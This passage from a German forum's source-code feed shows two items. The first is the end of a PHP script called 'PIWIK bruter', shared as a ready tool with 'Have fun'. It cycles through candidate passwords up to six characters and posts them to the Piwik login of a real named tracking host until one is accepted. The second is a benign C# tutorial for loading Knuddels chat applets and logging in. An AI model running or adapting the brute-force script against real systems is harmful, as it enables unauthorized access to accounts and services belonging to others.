#DD0000">"1234567890"</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$charset&nbsp;</span><span style="color: #007700">.=&nbsp;</span><span style="color: #DD0000">"ABCDEFGHIJKLMNOPQRSTUVWXYZ"</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">//$charset&nbsp;.=&nbsp;"äöüÄÖÜß";<br />&nbsp;&nbsp;&nbsp;&nbsp;//$charset&nbsp;.=&nbsp;"!"§$%&amp;/()=?,.-#+";&nbsp;//sonderzeichen&nbsp;usw.<br />&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$charset_length&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">strlen</span><span style="color: #007700">(</span><span style="color: #0000BB">$charset</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;for&nbsp;(</span><span style="color: #0000BB">$i&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">;&nbsp;</span><span style="color: #0000BB">$i&nbsp;</span><span style="color: #007700">&lt;&nbsp;</span><span style="color: #0000BB">$charset_length</span><span style="color: #007700">;&nbsp;++</span><span style="color: #0000BB">$i</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">$position&nbsp;&nbsp;</span><span style="color: #007700">&lt;&nbsp;</span><span style="color: #0000BB">$width&nbsp;</span><span style="color: #007700">-&nbsp;</span><span style="color: #0000BB">1</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$this</span><span style="color: #007700">-&gt;</span><span style="color: #0000BB">brute</span><span style="color: #007700">(</span><span style="color: #0000BB">$width</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">$position&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #0000BB">1</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$this</span><span style="color: #007700">-&gt;</span><span style="color: #0000BB">checkLogin</span><span style="color: #007700">(</span><span style="color: #0000BB">$charset</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">$i</span><span style="color: #007700">&#93;);<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br />}<br /><br />private&nbsp;function&nbsp;</span><span style="color: #0000BB">checkLogin</span><span style="color: #007700">(</span><span style="color: #0000BB">$password</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$content&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">$this</span><span style="color: #007700">-&gt;</span><span style="color: #0000BB">PostRequest</span><span style="color: #007700">(</span><span style="color: #DD0000">"http://track.knuddels.de/piwik/"</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">"http://track.knuddels.de:8080/piwik/"</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">""</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">""</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$session&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">$this</span><span style="color: #007700">-&gt;</span><span style="color: #0000BB">getPIWIK_SESSID</span><span style="color: #007700">(</span><span style="color: #0000BB">$content</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$hiddenID&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">$this</span><span style="color: #007700">-&gt;</span><span style="color: #0000BB">getHiddenFormID</span><span style="color: #007700">(</span><span style="color: #0000BB">$content</span><span style="color: #007700">);<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$content&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">$this</span><span style="color: #007700">-&gt;</span><span style="color: #0000BB">PostRequest</span><span style="color: #007700">(</span><span style="color: #DD0000">"http://track.knuddels.de/piwik/"</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">"http://track.knuddels.de:8080/piwik/"</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">"form_login=piwik&amp;form_password="</span><span style="color: #007700">.</span><span style="color: #0000BB">$password</span><span style="color: #007700">.</span><span style="color: #DD0000">"&amp;form_nonce="</span><span style="color: #007700">.</span><span style="color: #0000BB">$hiddenID</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">$session</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$count&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">substr_count</span><span style="color: #007700">(</span><span style="color: #0000BB">$content</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">"Password&nbsp;not&nbsp;correct"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;if(</span><span style="color: #0000BB">$count&nbsp;</span><span style="color: #007700">==&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">)&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print&nbsp;</span><span style="color: #DD0000">"&lt;center&gt;&lt;h1&gt;Passwort&nbsp;gefunden!&lt;br&gt;Passwort:&nbsp;&lt;b&gt;"</span><span style="color: #007700">.</span><span style="color: #0000BB">$password</span><span style="color: #007700">.</span><span style="color: #DD0000">"&lt;/b&gt;&lt;/h1&gt;&lt;center&gt;\n"</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;exit;<br />&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;else&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">//print&nbsp;$password."&nbsp;=&nbsp;FAIL!&lt;br&gt;\n";&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">}<br />}<br /><br />}<br /><br /></span><span style="color: #0000BB">$start&nbsp;</span><span style="color: #007700">=&nbsp;new&nbsp;</span><span style="color: #0000BB">brute_PIWIK</span><span style="color: #007700">();<br /><br /></span><span style="color: #0000BB">$stellen&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">6</span><span style="color: #007700">;&nbsp;</span><span style="color: #FF8000">//Anzahl&nbsp;der&nbsp;maximalen&nbsp;Pw&nbsp;Länge.<br /><br /></span><span style="color: #0000BB">$start</span><span style="color: #007700">-&gt;</span><span style="color: #0000BB">brute</span><span style="color: #007700">(</span><span style="color: #0000BB">$stellen</span><span style="color: #007700">);<br /><br /><br /></span><span style="color: #FF8000">/*<br />**&nbsp;Have&nbsp;fun&nbsp;:-)<br />*/<br /></span><span style="color: #0000BB">?&gt;</span>
</span>
</code></code><hr />
</div></div>

]]></content:encoded>
			<category domain="sourcecode-91">Sourcecode</category>
			<dc:creator>xtp57</dc:creator>
			<guid isPermaLink="true">sourcecode-91/php-piwik-bruter-31078</guid>
		</item>
		<item>
			<title>KNLib Multi Applet Sample</title>
			<link>sourcecode-91/knlib-multi-applet-sample-30716?goto=newpost</link>
			<pubDate>Tue, 03 Jan 2012 09:41:03 GMT</pubDate>
			<description>Hey, 
 
bisher gabs dazu kein Tutorial und ich wollte hiermit euch zeigen, wie ihr für jedes Chatsystem ein eigenes Applet benutzen könnt. 
 
 
PHP:...</description>
			<content:encoded><![CDATA[<div>Hey,<br />
<br />
bisher gabs dazu kein Tutorial und ich wollte hiermit euch zeigen, wie ihr für jedes Chatsystem ein eigenes Applet benutzen könnt.<br />
<br />
<div class="bbcode_container">
	<div class="bbcode_description">PHP-Code:</div>
	<hr /><code class="bbcode_code"><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #FF8000">/*<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;____&nbsp;&nbsp;__.&nbsp;&nbsp;_________&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.__&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;__&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;&nbsp;|/&nbsp;_|&nbsp;/&nbsp;&nbsp;&nbsp;_____/&nbsp;___________|__|______/&nbsp;&nbsp;|_&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;&nbsp;&nbsp;&nbsp;\_____&nbsp;&nbsp;\_/&nbsp;___\_&nbsp;&nbsp;__&nbsp;\&nbsp;&nbsp;\____&nbsp;\&nbsp;&nbsp;&nbsp;__\<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;\&nbsp;&nbsp;/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\&nbsp;&nbsp;\___|&nbsp;&nbsp;|&nbsp;\/&nbsp;&nbsp;|&nbsp;&nbsp;|_&gt;&nbsp;&gt;&nbsp;&nbsp;|&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|____|__&nbsp;\/_______&nbsp;&nbsp;/\___&nbsp;&nbsp;&gt;__|&nbsp;&nbsp;|__|&nbsp;&nbsp;&nbsp;__/|__|&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|__|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;KNLib&nbsp;Multi&nbsp;Applet&nbsp;Tutorial<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;©&nbsp;The&nbsp;Don&nbsp;of&nbsp;NYC&nbsp;-&nbsp;2012<br />&nbsp;*/<br /><br /></span><span style="color: #0000BB">using&nbsp;KNLib</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">using&nbsp;System</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">using&nbsp;System</span><span style="color: #007700">.</span><span style="color: #0000BB">Threading</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">using&nbsp;System</span><span style="color: #007700">.</span><span style="color: #0000BB">Windows</span><span style="color: #007700">.</span><span style="color: #0000BB">Forms</span><span style="color: #007700">;<br /><br />namespace&nbsp;</span><span style="color: #0000BB">Multi_Applet_Tutorial<br /></span><span style="color: #007700">{<br />&nbsp;&nbsp;&nbsp;&nbsp;class&nbsp;</span><span style="color: #0000BB">Program<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;static&nbsp;</span><span style="color: #0000BB">String&nbsp;appletPath&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #DD0000">"Applets\\applet_{0}.jar"</span><span style="color: #007700">;<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;static&nbsp;</span><span style="color: #0000BB">bool&nbsp;loadDEApplet&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">true</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;static&nbsp;</span><span style="color: #0000BB">bool&nbsp;loadATApplet&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">true</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;static&nbsp;</span><span style="color: #0000BB">bool&nbsp;loadCHApplet&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">true</span><span style="color: #007700">;<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;static&nbsp;</span><span style="color: #0000BB">Applet&nbsp;Applet_DE&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">null</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;static&nbsp;</span><span style="color: #0000BB">Applet&nbsp;Applet_AT&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">null</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;static&nbsp;</span><span style="color: #0000BB">Applet&nbsp;Applet_CH&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">null</span><span style="color: #007700">;<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;static&nbsp;</span><span style="color: #0000BB">void&nbsp;Main</span><span style="color: #007700">()<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Console</span><span style="color: #007700">.</span><span style="color: #0000BB">Title&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #DD0000">"Multi&nbsp;Applet&nbsp;Tutorial"</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Console</span><span style="color: #007700">.</span><span style="color: #0000BB">ForegroundColor&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">ConsoleColor</span><span style="color: #007700">.</span><span style="color: #0000BB">White</span><span style="color: #007700">;<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;new&nbsp;</span><span style="color: #0000BB">Thread</span><span style="color: #007700">(</span><span style="color: #0000BB">LoadApplets</span><span style="color: #007700">).</span><span style="color: #0000BB">Start</span><span style="color: #007700">();&nbsp;</span><span style="color: #FF8000">//&nbsp;Thread&nbsp;starten&nbsp;um&nbsp;die&nbsp;Applets&nbsp;zu&nbsp;laden<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Console</span><span style="color: #007700">.</span><span style="color: #0000BB">WriteLine</span><span style="color: #007700">(</span><span style="color: #DD0000">"Nickname?"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">String&nbsp;Nickname&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">Console</span><span style="color: #007700">.</span><span style="color: #0000BB">ReadLine</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Console</span><span style="color: #007700">.</span><span style="color: #0000BB">WriteLine</span><span style="color: #007700">(</span><span style="color: #DD0000">"Passwort?"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">String&nbsp;Passwort&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">Console</span><span style="color: #007700">.</span><span style="color: #0000BB">ReadLine</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Console</span><span style="color: #007700">.</span><span style="color: #0000BB">WriteLine</span><span style="color: #007700">(</span><span style="color: #DD0000">"Channel?"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">String&nbsp;Channel&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">Console</span><span style="color: #007700">.</span><span style="color: #0000BB">ReadLine</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Console</span><span style="color: #007700">.</span><span style="color: #0000BB">WriteLine</span><span style="color: #007700">(</span><span style="color: #DD0000">"Chatsystem?&nbsp;DE/AT/CH"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">ChatSystem&nbsp;Chatsystem&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">GetChatsystem</span><span style="color: #007700">(</span><span style="color: #0000BB">Console</span><span style="color: #007700">.</span><span style="color: #0000BB">ReadLine</span><span style="color: #007700">().</span><span style="color: #0000BB">ToUpper</span><span style="color: #007700">());<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Applet&nbsp;applet&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">GetApplet</span><span style="color: #007700">(</span><span style="color: #0000BB">Chatsystem</span><span style="color: #007700">);<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">applet&nbsp;</span><span style="color: #007700">==&nbsp;</span><span style="color: #0000BB">null</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">MessageBox</span><span style="color: #007700">.</span><span style="color: #0000BB">Show</span><span style="color: #007700">(</span><span style="color: #DD0000">"Es&nbsp;konnte&nbsp;kein&nbsp;Applet&nbsp;gefunden&nbsp;werden."</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Environment</span><span style="color: #007700">.Exit(</span><span style="color: #0000BB">0</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">KSClient&nbsp;KSC&nbsp;</span><span style="color: #007700">=&nbsp;new&nbsp;</span><span style="color: #0000BB">KSClient</span><span style="color: #007700">(</span><span style="color: #0000BB">applet</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">KSC</span><span style="color: #007700">.</span><span style="color: #0000BB">Connect</span><span style="color: #007700">(</span><span style="color: #0000BB">Chatsystem</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">KSC</span><span style="color: #007700">.</span><span style="color: #0000BB">OnTokenReceived&nbsp;</span><span style="color: #007700">+=new&nbsp;</span><span style="color: #0000BB">KSClient</span><span style="color: #007700">.</span><span style="color: #0000BB">ReceivedHandler</span><span style="color: #007700">(</span><span style="color: #0000BB">KSC_OnTokenReceived</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">KSC</span><span style="color: #007700">.</span><span style="color: #0000BB">Login</span><span style="color: #007700">(</span><span style="color: #0000BB">Nickname</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">Passwort</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">Channel</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;static&nbsp;</span><span style="color: #0000BB">void&nbsp;KSC_OnTokenReceived</span><span style="color: #007700">(</span><span style="color: #0000BB">KSClient&nbsp;KSC</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">String&nbsp;packet</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">packet</span><span style="color: #007700">.</span><span style="color: #0000BB">StartsWith</span><span style="color: #007700">(</span><span style="color: #DD0000">"u\0"</span><span style="color: #007700">))<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Console</span><span style="color: #007700">.</span><span style="color: #0000BB">ForegroundColor&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">ConsoleColor</span><span style="color: #007700">.</span><span style="color: #0000BB">Green</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Console</span><span style="color: #007700">.</span><span style="color: #0000BB">WriteLine</span><span style="color: #007700">(</span><span style="color: #DD0000">"Erfolgreich&nbsp;eingeloggt!"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">///&nbsp;&lt;summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;Lädt&nbsp;die&nbsp;gewünschten&nbsp;Applets<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;/summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">static&nbsp;</span><span style="color: #0000BB">void&nbsp;LoadApplets</span><span style="color: #007700">()<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;try<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">Applet_DE&nbsp;</span><span style="color: #007700">==&nbsp;</span><span style="color: #0000BB">null&nbsp;</span><span style="color: #007700">&amp;&amp;&nbsp;</span><span style="color: #0000BB">loadDEApplet</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Applet_DE&nbsp;</span><span style="color: #007700">=&nbsp;new&nbsp;</span><span style="color: #0000BB">Applet</span><span style="color: #007700">(</span><span style="color: #0000BB">String</span><span style="color: #007700">.</span><span style="color: #0000BB">Format</span><span style="color: #007700">(</span><span style="color: #0000BB">appletPath</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">"DE"</span><span style="color: #007700">));<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">Applet_AT&nbsp;</span><span style="color: #007700">==&nbsp;</span><span style="color: #0000BB">null&nbsp;</span><span style="color: #007700">&amp;&amp;&nbsp;</span><span style="color: #0000BB">loadATApplet</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Applet_AT&nbsp;</span><span style="color: #007700">=&nbsp;new&nbsp;</span><span style="color: #0000BB">Applet</span><span style="color: #007700">(</span><span style="color: #0000BB">String</span><span style="color: #007700">.</span><span style="color: #0000BB">Format</span><span style="color: #007700">(</span><span style="color: #0000BB">appletPath</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">"AT"</span><span style="color: #007700">));<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">Applet_CH&nbsp;</span><span style="color: #007700">==&nbsp;</span><span style="color: #0000BB">null&nbsp;</span><span style="color: #007700">&amp;&amp;&nbsp;</span><span style="color: #0000BB">loadCHApplet</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Applet_CH&nbsp;</span><span style="color: #007700">=&nbsp;new&nbsp;</span><span style="color: #0000BB">Applet</span><span style="color: #007700">(</span><span style="color: #0000BB">String</span><span style="color: #007700">.</span><span style="color: #0000BB">Format</span><span style="color: #007700">(</span><span style="color: #0000BB">appletPath</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">"CH"</span><span style="color: #007700">));<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;catch&nbsp;(</span><span style="color: #0000BB">Exception&nbsp;ex</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br 